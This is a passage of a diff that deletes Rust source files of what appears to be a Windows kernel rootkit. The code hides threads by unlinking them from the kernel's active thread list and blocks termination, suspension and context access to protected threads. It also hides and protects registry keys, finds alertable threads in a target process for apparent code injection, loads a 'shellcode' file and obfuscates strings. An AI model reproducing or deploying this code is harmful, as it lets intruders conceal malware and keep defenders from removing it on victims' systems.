let basic_information = &*(buffer as *const KEY_NAME_INFORMATION);
let name = from_raw_parts(
(*basic_information).Name.as_ptr(),
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
);
Some(String::from_utf16_lossy(name))
},
_ => None,
}
}
/// Enumerates the values of the specified registry key.
///
/// This function enumerates the values of the registry key based on the provided index and information class,
/// returning the value name in the desired format.
///
/// # Arguments
///
/// * `key_handle` - Handle of the target registry key.
/// * `index` - The index to be enumerated.
/// * `buffer` - Buffer that will store the registry key values.
/// * `buffer_size` - Size of the buffer.
/// * `key_value_information` - Type of information to retrieve about the registry key value.
/// * `result_length` - Pointer to store the size of the result.
///
/// # Returns
///
/// * Returns `Some(String)` containing the name of the registry key value if successful,
/// otherwise returns `None`.
pub unsafe fn enumerate_value_key(
key_handle: HANDLE,
index: u32,
buffer: *mut u8,
buffer_size: u32,
key_value_information: KEY_VALUE_INFORMATION_CLASS,
result_length: &mut u32
) -> Option<String> {
// Enumerate the registry value using ZwEnumerateValueKey
let status = ZwEnumerateValueKey(
key_handle,
index,
key_value_information,
buffer as *mut c_void,
buffer_size,
result_length,
);
// Check if there are no more entries
if status == STATUS_NO_MORE_ENTRIES {
return None;
}
// Check if the operation was successful
if !NT_SUCCESS(status) {
error!("ZwEnumerateValueKey Failed With Status: {status}");
return None;
}
// Process the key value information based on the specified class
match key_value_information {
KeyValueBasicInformation | KeyValueFullInformationAlign64 | KeyValueFullInformation => {
let value_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION);
let value_name_utf16: &[u16] = from_raw_parts(
value_info.Name.as_ptr(),
(value_info.NameLength / size_of::<u16>() as u32) as usize,
);
Some(String::from_utf16_lossy(value_name_utf16))
},
_ => None,
}
}
/// Trait for accessing the object in registry information.
///
/// This trait defines a method to retrieve a pointer to the registry object from different registry information structures.
pub trait RegistryInfo {
/// Retrieves a pointer to the registry object.
///
/// # Returns
///
/// * A raw pointer to the registry object.
fn get_object(&self) -> *mut c_void;
}
impl RegistryInfo for REG_DELETE_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_QUERY_KEY_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
impl RegistryInfo for REG_POST_OPERATION_INFORMATION {
fn get_object(&self) -> *mut c_void {
self.Object
}
}
/// Enum representing the types of operations to be done with the Registry.
pub enum Type {
/// Hides the specified key or key-value.
Hide,
/// Protects the specified key or key-value from being modified.
Protect,
}

View File

@@ -1,125 +0,0 @@
use {
alloc::vec::Vec,
spin::{lazy::Lazy, Mutex},
common::structs::TargetThread,
wdk_sys::{
*,
ntddk::PsGetThreadId,
_OB_PREOP_CALLBACK_STATUS::{
Type, OB_PREOP_SUCCESS
},
}
};
pub struct ThreadCallback;
const MAX_TID: usize = 100;
/// Handle for the thread callback registration.
pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: *mut core::ffi::c_void = core::ptr::null_mut();
/// List of the target TIDs
static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_TID))
);
impl ThreadCallback {
/// Method for adding the list of threads that will have anti-kill / dumping protection.
///
/// # Arguments
///
/// * `tid` - The identifier of the target process (tid) to be hidden.
///
/// # Returns
///
/// * A status code indicating the success or failure of the operation.
pub fn add_target_tid(tid: usize) -> NTSTATUS {
let mut tids = TARGET_TIDS.lock();
if tids.len() >= MAX_TID {
return STATUS_QUOTA_EXCEEDED;
}
if tids.contains(&tid) {
return STATUS_DUPLICATE_OBJECTID;
}
tids.push(tid);
STATUS_SUCCESS
}
/// Method for removing the list of threads that will have anti-kill / dumping protection.
///
/// # Arguments
///
/// * `tid` - The identifier of the target process (tid) to be hidden.
///
/// # Returns
///
/// * A status code indicating the success or failure of the operation.
pub fn remove_target_tid(tid: usize) -> NTSTATUS {
let mut tids = TARGET_TIDS.lock();
if let Some(index) = tids.iter().position(|&x| x == tid) {
tids.remove(index);
STATUS_SUCCESS
} else {
STATUS_UNSUCCESSFUL
}
}
/// Enumerate threads Protect.
///
/// # Arguments
///
/// * `info_process` - It is a parameter of type `Infothreads` that will send the threads that are currently protected.
/// * `information` - It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures.
///
/// # Returns
///
/// * A status code indicating success or failure of the operation.
pub unsafe fn enumerate_protection_thread() -> Vec<TargetThread> {
let mut threads: Vec<TargetThread> = Vec::new();
let thread_info = TARGET_TIDS.lock();
for i in thread_info.iter() {
threads.push(TargetThread {
tid: *i,
..Default::default()
});
}
threads
}
/// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads.
///
/// # Arguments
///
/// * `_registration_context` - A pointer to the registration context (unused).
/// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation.
///
/// # Returns
///
/// * A status code indicating the success of the pre-operation.
pub unsafe extern "C" fn on_pre_open_thread(
_registration_context: *mut core::ffi::c_void,
info: *mut OB_PRE_OPERATION_INFORMATION,
) -> Type {
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
return OB_PREOP_SUCCESS;
}
let thread = (*info).Object as PETHREAD;
let tid = PsGetThreadId(thread) as usize;
let tids = TARGET_TIDS.lock();
if tids.contains(&tid) {
let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT);
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
}
OB_PREOP_SUCCESS
}
}

View File

@@ -1,210 +0,0 @@
use {
alloc::vec::Vec,
wdk_sys::{ntddk::*, *},
spin::{mutex::Mutex, lazy::Lazy},
common::structs::TargetThread,
crate::{
error::ShadowError,
lock::with_push_lock_exclusive,
offsets::{
get_thread_list_entry_offset,
get_thread_lock_offset
}
},
};
pub mod callback;
pub use callback::*;
const MAX_TID: usize = 100;
/// List of target threads protected by a mutex.
pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<TargetThread>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
/// Represents a thread in the operating system.
///
/// The `Thread` struct provides a safe abstraction over the `ETHREAD` structure used
/// in Windows kernel development. It allows for looking up a thread by its TID and ensures
/// proper cleanup of resources when the structure goes out of scope.
pub struct Thread {
/// Pointer to the ETHREAD structure, used for managing thread information.
pub e_thread: PETHREAD,
}
impl Thread {
/// Creates a new `Thread` instance by looking up a thread by its TID.
///
/// This method attempts to find a thread using its thread identifier (TID). If the thread
/// is found, it returns an instance of the `Thread` structure containing a pointer to the
/// `ETHREAD` structure.
///
/// # Arguments
///
/// * `tid` - The thread identifier (TID) of the thread to be looked up.
///
/// # Returns
///
/// * `Ok(Self)` - Returns a `Thread` instance if the thread lookup is successful.
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
///
/// # Examples
///
/// ```rust
/// let thread = Thread::new(1234);
/// match thread {
/// Ok(thre) => println!("Thread found: {:?}", thre.e_thread),
/// Err(e) => println!("Error: {}", e),
/// }
/// ```
#[inline]
pub fn new(tid: usize) -> Result<Self, ShadowError> {
let mut thread = core::ptr::null_mut();
let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut thread) };
if NT_SUCCESS(status) {
Ok(Self { e_thread: thread })
} else {
Err(ShadowError::ApiCallFailed("PsLookupThreadByThreadId", status))
}
}
}
/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope.
///
/// The `Drop` implementation ensures that the reference count on the `ETHREAD` structure
/// is properly decremented when the `Thread` instance is dropped. This prevents resource leaks.
impl Drop for Thread {
/// Cleans up the resources held by the `Thread` structure.
///
/// This method decrements the reference count of the `ETHREAD` structure when the
/// `Thread` instance is dropped, ensuring proper cleanup.
fn drop(&mut self) {
if !self.e_thread.is_null() {
unsafe { ObfDereferenceObject(self.e_thread as _) };
}
}
}
impl Thread {
/// Hides a thread by removing it from the active thread list in the operating system.
///
/// This method hides a thread by unlinking it from the active thread list (`LIST_ENTRY`) in the OS.
/// It uses synchronization locks to ensure thread safety while modifying the list. Once the thread is hidden,
/// it is no longer visible in the system's active thread chain.
///
/// # Arguments
///
/// * `tid` - The thread identifier (TID) of the target thread to be hidden.
///
/// # Returns
///
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring threads
/// in the list before it was modified.
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
pub unsafe fn hide_thread(tid: usize) -> Result<LIST_ENTRY, ShadowError> {
// Getting offsets based on the Windows build number
let active_thread_link = get_thread_list_entry_offset();
let offset_lock = get_thread_lock_offset();
// Retrieving ETHREAD from the target thread
let thread = Self::new(tid)?;
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
// to the list of active threads in the system.
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
// Use synchronization to ensure thread safety while modifying the list
with_push_lock_exclusive(push_lock, || {
// The next thread in the chain
let next = (*current).Flink;
// The previous thread in the chain
let previous = (*current).Blink;
// Storing the previous list entry, which will be returned
let previous_link = LIST_ENTRY {
Flink: next as *mut LIST_ENTRY,
Blink: previous as *mut LIST_ENTRY,
};
// Unlink the thread from the active list
(*next).Blink = previous;
(*previous).Flink = next;
// Make the current list entry point to itself to hide the thread
(*current).Flink = current;
(*current).Blink = current;
Ok(previous_link)
})
}
/// Unhides a thread by restoring it to the active thread list in the operating system.
///
/// This method restores a previously hidden thread back into the active thread list by re-linking
/// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent threads in the list. The function
/// uses synchronization locks to ensure thread safety while modifying the list.
///
/// # Arguments
///
/// * `tid` - The thread identifier (TID) of the target thread to be unhidden.
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring threads in the list,
/// which was saved when the thread was hidden.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - Indicates the thread was successfully restored to the active list.
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS, ShadowError> {
// Getting offsets based on the Windows build number
let active_thread_link = get_thread_list_entry_offset();
let offset_lock = get_thread_lock_offset();
// Retrieving ETHREAD from the target thread
let thread = Self::new(tid)?;
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
// to the list of active threads in the system.
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
// Use synchronization to ensure thread safety while modifying the list
with_push_lock_exclusive(push_lock, || {
// Restore the `Flink` and `Blink` from the saved `list_entry`
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
// Re-link the process to the neighboring processes in the chain
let next = (*current).Flink;
let previous = (*current).Blink;
(*next).Blink = current;
(*previous).Flink = current;
});
Ok(STATUS_SUCCESS)
}
/// Enumerates all currently hidden threads.
///
/// This function iterates through the list of hidden threads stored in `THREAD_INFO_HIDE` and returns
/// a vector containing their information.
///
/// # Returns
///
/// * A vector containing the information of all hidden threads.
pub unsafe fn enumerate_hide_threads() -> Vec<TargetThread> {
let mut threads: Vec<TargetThread> = Vec::new();
let thread_info = THREAD_INFO_HIDE.lock();
for i in thread_info.iter() {
threads.push(TargetThread {
tid: (*i).tid as usize,
..Default::default()
});
}
threads
}
}

View File

@@ -1,106 +0,0 @@
use {
super::pool::PoolMemory,
alloc::string::ToString,
winapi::um::winnt::RtlZeroMemory,
wdk_sys::{POOL_FLAG_NON_PAGED, NT_SUCCESS},
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
ntapi::{
ntexapi::SystemModuleInformation,
ntzwapi::ZwQuerySystemInformation
},
winapi::um::winnt::{
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64,
}
};
use crate::{
error::ShadowError,
SystemModuleInformation
};
/// Gets the base address of a specified module by querying system module information.
/// This function queries the system for all loaded modules and compares their names
/// to the provided module name to find the base address.
///
/// # Arguments
///
/// * `module_name` - A string slice containing the name of the module to locate.
///
/// # Returns
///
/// * `Ok(*mut c_void)` - A pointer to the base address of the module if found.
/// * `Err(ShadowError)` - If the module is not found or an error occurs during execution.
pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void, ShadowError> {
// Initial call to ZwQuerySystemInformation to get the required buffer size for system module info
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
// Allocates non-paged pool memory to store system module information
let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx"))
.map(|mem| mem.ptr as *mut SystemModuleInformation) // Converts to the appropriate type
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Clears the allocated memory to ensure no garbage data is present
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
// Retrieves the actual system module information
let status = ZwQuerySystemInformation(
SystemModuleInformation,
info_module as *mut winapi::ctypes::c_void,
return_bytes,
&mut return_bytes
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status))
}
// Iterates over the list of modules to find the one that matches the provided name
let module_count = (*info_module).ModuleCount;
for i in 0..module_count as usize {
let name = (*info_module).Modules[i].ImageName;
let module_base = (*info_module).Modules[i].ImageBase as *mut c_void;
if let Ok(name_str) = core::str::from_utf8(&name) {
if name_str.contains(module_name) {
return Ok(module_base);
}
}
}
// If the module is not found, return an error
Err(ShadowError::FunctionExecutionFailed("get_module_base_address", line!()))
}
/// Gets the address of a specified function within a module.
///
/// # Arguments
///
/// * `function_name` - A string slice containing the name of the function.
/// * `dll_base` - A pointer to the base address of the DLL.
///
/// # Returns
///
/// * `Option<*mut c_void>` - An optional pointer to the function's address, or None if the function is not found.
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Result<*mut c_void, ShadowError> {
let dos_header = dll_base as *const IMAGE_DOS_HEADER;
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as usize {
let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8)
.to_str()
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
let ordinal = ordinals[i] as usize;
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
if name == function_name {
return Ok(address);
}
}
Err(ShadowError::FunctionNotFound(function_name.to_string()))
}

View File

@@ -1,122 +0,0 @@
use {
alloc::vec::Vec,
crate::error::ShadowError,
core::{ffi::c_void, ptr::null_mut},
super::{handle::Handle, InitializeObjectAttributes},
wdk_sys::{
*,
ntddk::*,
_FILE_INFORMATION_CLASS::FileStandardInformation
},
};
/// Reads the content of a file given its path in the NT kernel environment.
///
/// This function opens a file specified by the given path, reads its content,
/// and returns the data as a vector of bytes. It uses the `ZwCreateFile` function
/// to open the file and `ZwReadFile` to read its content. The path is automatically
/// converted to NT format (e.g., `\\??\\C:\\path\\to\\file`).
///
/// # Arguments
///
/// * `path` - A string slice representing the path to the file. The path should follow
/// the standard Windows format (e.g., `C:\\path\\to\\file`).
///
/// # Returns
///
/// * `Ok(Vec<u8>)` - A vector containing the file's content as bytes if the file is successfully opened and read.
/// * `Err(ShadowError)` - If an error occurs during:
/// - Opening the file (`ZwCreateFile` failure),
/// - Querying file information (`ZwQueryInformationFile` failure),
/// - Reading the file (`ZwReadFile` failure).
pub fn read_file(path: &str) -> Result<Vec<u8>, ShadowError> {
// Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file")
let path_nt = alloc::format!("\\??\\{}", path);
// Converts the NT path to a Unicode string
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
// Initializes the object attributes for opening the file, including setting
// it as case insensitive and kernel-handled
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { core::mem::zeroed() };
let mut obj_attr = InitializeObjectAttributes(
Some(&mut file_name.to_unicode()),
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
None,
None,
None
);
// Opens the file using ZwCreateFile with read permissions
let mut h_file: HANDLE = null_mut();
let mut status = unsafe {
ZwCreateFile(
&mut h_file,
GENERIC_READ,
&mut obj_attr,
&mut io_status_block,
null_mut(),
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT,
null_mut(),
0,
)
};
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwCreateFile", status));
}
// Wrap the file handle in a safe Handle type
let h_file = Handle::new(h_file);
// Placeholder for storing file information (e.g., size)
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { core::mem::zeroed() };
// Queries file information, such as its size, using ZwQueryInformationFile
status = unsafe {
ZwQueryInformationFile(
h_file.get(),
&mut io_status_block,
&mut file_info as *mut _ as *mut c_void,
size_of::<FILE_STANDARD_INFORMATION>() as u32,
FileStandardInformation
)
};
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwQueryInformationFile", status));
}
// Retrieves the file size from the queried file information
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
// Initializes the byte offset to 0 for reading from the beginning of the file
let mut byte_offset: LARGE_INTEGER = unsafe { core::mem::zeroed() };
byte_offset.QuadPart = 0;
// Reads the file content into the buffer using ZwReadFile
let mut shellcode = alloc::vec![0u8; file_size];
status = unsafe {
ZwReadFile(
h_file.get(),
null_mut(),
None,
null_mut(),
&mut io_status_block,
shellcode.as_mut_ptr() as *mut c_void,
file_size as u32,
&mut byte_offset,
null_mut()
)
};
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwReadFile", status));
}
// Returns the file content as a vector of bytes if everything succeeds
Ok(shellcode)
}

View File

@@ -1,54 +0,0 @@
use wdk_sys::{ntddk::ZwClose, HANDLE};
/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped.
///
/// This struct provides a safe abstraction over raw Windows handles, ensuring that the
/// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop`
/// implementation.
pub struct Handle(HANDLE);
impl Handle {
/// Creates a new `Handle` instance.
///
/// This function wraps a raw Windows `HANDLE` inside the `Handle` struct.
///
/// # Arguments
///
/// * `handle` - A raw Windows `HANDLE` to wrap.
///
/// # Returns
///
/// * Returns a new `Handle` instance that encapsulates the provided raw `HANDLE`.
#[inline]
pub fn new(handle: HANDLE) -> Self {
Handle(handle)
}
/// Returns the raw `HANDLE`.
///
/// This function provides access to the underlying Windows handle
/// stored in the `Handle` struct.
///
/// # Returns
///
/// * Returns the raw Windows `HANDLE` encapsulated in the `Handle` struct.
#[inline]
pub fn get(&self) -> HANDLE {
self.0
}
}
impl Drop for Handle {
/// Automatically closes the `HANDLE` when the `Handle` instance is dropped.
///
/// When the `Handle` goes out of scope, this method is called to ensure that
/// the underlying Windows handle is closed using the `ZwClose` function, unless
/// the handle is null.
fn drop(&mut self) {
if !self.0.is_null() {
unsafe {
ZwClose(self.0);
}
}
}
}

View File

@@ -1,28 +0,0 @@
use wdk_sys::ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx};
/// Generic function that performs the operation with the lock already acquired.
/// It will acquire the lock exclusively and guarantee its release after use.
///
/// # Arguments
///
/// * `push_lock` - Pointer to the lock to be acquired.
/// * `operation` - The operation to be performed while the lock is active.
pub fn with_push_lock_exclusive<T, F>(push_lock: *mut u64, operation: F) -> T
where
F: FnOnce() -> T,
{
unsafe {
// Get the lock exclusively
ExAcquirePushLockExclusiveEx(push_lock, 0);
}
// Performs the operation while the lock is active
let result = operation();
unsafe {
// Releases the lock after the operation
ExReleasePushLockExclusiveEx(push_lock, 0);
}
result
}

View File

@@ -1,331 +0,0 @@
use {
wdk_sys::{*, ntddk::*},
alloc::string::{ToString, String},
core::{
ffi::{c_void, CStr},
slice::from_raw_parts,
ptr::{null_mut, read_unaligned},
},
ntapi::{
ntpebteb::PEB,
ntldr::LDR_DATA_TABLE_ENTRY,
ntzwapi::ZwQuerySystemInformation,
ntexapi::{
SystemProcessInformation,
PSYSTEM_PROCESS_INFORMATION
},
},
winapi::um::winnt::{
IMAGE_DOS_HEADER,
IMAGE_NT_HEADERS64,
IMAGE_EXPORT_DIRECTORY,
}
};
use crate::{
*,
pool::PoolMemory,
error::ShadowError,
process_attach::ProcessAttach
};
pub mod uni;
pub mod lock;
pub mod patterns;
pub mod address;
pub mod pool;
pub mod handle;
pub mod file;
pub mod process_attach;
/// Find a thread with an alertable status for the given process (PID).
///
/// This function queries the system for all threads associated with the specified process.
/// It checks whether each thread meets specific conditions (e.g., non-terminating and alertable)
/// and returns the `KTHREAD` pointer if such a thread is found.
///
/// # Arguments
///
/// * `target_pid` - The process identifier (PID) for which to find an alertable thread.
///
/// # Returns
///
/// * `Ok(*mut _KTHREAD)` - A pointer to the `KTHREAD` of the found alertable thread.
/// * `Err(ShadowError)` - If no suitable thread is found or an error occurs during the search.
pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD, ShadowError> {
// Initial call to get the necessary buffer size for system process information
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
// Allocate memory to store process information
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Query system information to get process and thread data
let status = ZwQuerySystemInformation(
SystemProcessInformation,
info_process as *mut winapi::ctypes::c_void,
return_bytes,
&mut return_bytes,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
}
// Iterate over process information to find the target PID and alertable thread
let mut process_info = info_process;
while (*process_info).NextEntryOffset != 0 {
let pid = (*process_info).UniqueProcessId as usize;
if pid == target_pid {
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
for &thread in threads_slice {
let thread_id = thread.ClientId.UniqueThread as usize;
let target_thread = if let Ok(thread) = Thread::new(thread_id) { thread } else { continue };
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
continue;
}
let is_alertable = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x74) as *const u64) & 0x10;
let is_gui_thread = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x78) as *const u64) & 0x80;
let thread_kernel_stack = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x58) as *const u64);
let thread_context_stack = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x268) as *const u64);
if is_alertable == 0 && is_gui_thread != 0 && thread_kernel_stack == 0 && thread_context_stack == 0 {
continue;
}
return Ok(target_thread.e_thread)
}
}
if (*process_info).NextEntryOffset == 0 {
break;
}
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
}
Err(ShadowError::FunctionExecutionFailed("find_thread_alertable", line!()))
}
/// Retrieves the address of a function within a specific module loaded in a process's PEB.
///
/// This function locates the specified module (DLL) in the process's PEB and searches for
/// the requested function within the module's export table. It returns the address of the
/// function if found.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process.
/// * `module_name` - The name of the module (e.g., DLL) to search for.
/// * `function_name` - The name of the function to locate within the module.
///
/// # Returns
///
/// * `Ok(*mut c_void)` - A pointer to the function's address if found.
/// * `Err(ShadowError)` - If the function or module is not found, or an error occurs during execution.
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Result<*mut c_void, ShadowError> {
// Attach to the target process and access its PEB
let target = Process::new(pid)?;
ProcessAttach::new(target.e_process);
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
}
// Traverse the InLoadOrderModuleList to find the module
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY;
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
while next != current {
if next.is_null() {
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
}
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() {
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
}
let buffer = core::slice::from_raw_parts(
(*list_entry).FullDllName.Buffer,
((*list_entry).FullDllName.Length / 2) as usize,
);
if buffer.is_empty() {
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
}
// Check if the module name matches
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
if dll_name.to_lowercase().contains(module_name) {
let dll_base = (*list_entry).DllBase as usize;
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
// Search for the function by name in the export table
for i in 0..(*export_directory).NumberOfNames as isize {
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8)
.to_str()
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
let ordinal = ordinals[i as usize] as usize;
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
if name_module == function_name {
return Ok(address);
}
}
}
next = (*next).Flink;
}
Err(ShadowError::ModuleNotFound(module_name.to_string()))
}
/// Retrieves the PID of a process by its name.
///
/// # Arguments
///
/// * `process_name` - A string slice containing the name of the process.
///
/// # Returns
///
/// * `Option<usize>` - An optional containing the PID of the process, or None if the process is not found.
pub unsafe fn get_process_by_name(process_name: &str) -> Result<usize, ShadowError> {
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws"))
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
let status = ZwQuerySystemInformation(
SystemProcessInformation,
info_process as *mut winapi::ctypes::c_void,
return_bytes,
&mut return_bytes,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
}
let mut process_info = info_process;
loop {
if !(*process_info).ImageName.Buffer.is_null() {
let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize);
let name = String::from_utf16_lossy(image_name);
if name == process_name {
let pid = (*process_info).UniqueProcessId as usize;
return Ok(pid);
}
}
if (*process_info).NextEntryOffset == 0 {
break;
}
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
}
Err(ShadowError::ProcessNotFound(process_name.to_string()))
}
/// Validates if the given address is within the kernel memory range.
///
/// # Arguments
///
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
///
/// # Returns
///
/// * `bool` - True if the address is within the kernel memory range, False otherwise.
pub fn valid_kernel_memory(addr: u64) -> bool {
addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF
}
/// Validates if the given address is within the user memory range.
///
/// # Arguments
///
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
///
/// # Returns
///
/// * `bool` - True if the address is within the user memory range, False otherwise.
pub fn valid_user_memory(addr: u64) -> bool {
addr > 0 && addr < 0x7FFFFFFFFFFFFFFF
}
/// Responsible for returning information on the modules loaded.
///
/// # Returns
///
/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList.
///
pub fn list_modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32), ShadowError> {
let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList"));
let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY };
if func.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"))
}
